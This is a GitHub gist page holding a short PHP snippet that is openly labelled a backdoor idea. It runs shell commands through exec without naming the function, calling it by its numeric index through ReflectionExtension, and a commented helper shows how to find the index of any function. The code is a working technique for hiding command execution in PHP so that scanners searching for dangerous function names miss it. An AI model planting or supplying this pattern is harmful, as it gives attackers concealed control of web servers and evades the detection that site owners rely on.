Skip to content

Instantly share code, notes, and snippets.

@cinu
Last active October 15, 2022 19:51
Show Gist options
  • Save cinu/ce3f5208ccfa80ba0956 to your computer and use it in GitHub Desktop.
Save cinu/ce3f5208ccfa80ba0956 to your computer and use it in GitHub Desktop.
Simple ReflectionExtension based PHP backdoor idea
<?php
// Simple ReflectionExtension based PHP backdoor idea
$cmd = 'sleep 3';
$c = new ReflectionExtension('standard'); array_values($c->getFunctions())[0x75]->invokeArgs(array($cmd));
// Info: 0x75 == 117, which is exec function number on current os
// Getting function number:
/*
$extension = 'standard';
$function = 'exec';
$c = new ReflectionExtension($extension);
$functions = $c->getFunctions();
$n = 0;
foreach($functions as $name => $reflectionFunction) {
if ($name == $function ) {
echo "Number for $function is $n".PHP_EOL;
exit;
}
$n++;
}
echo 'Function not found'.PHP_EOL;
exit;
// Marcin 'redeemer' Probola
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment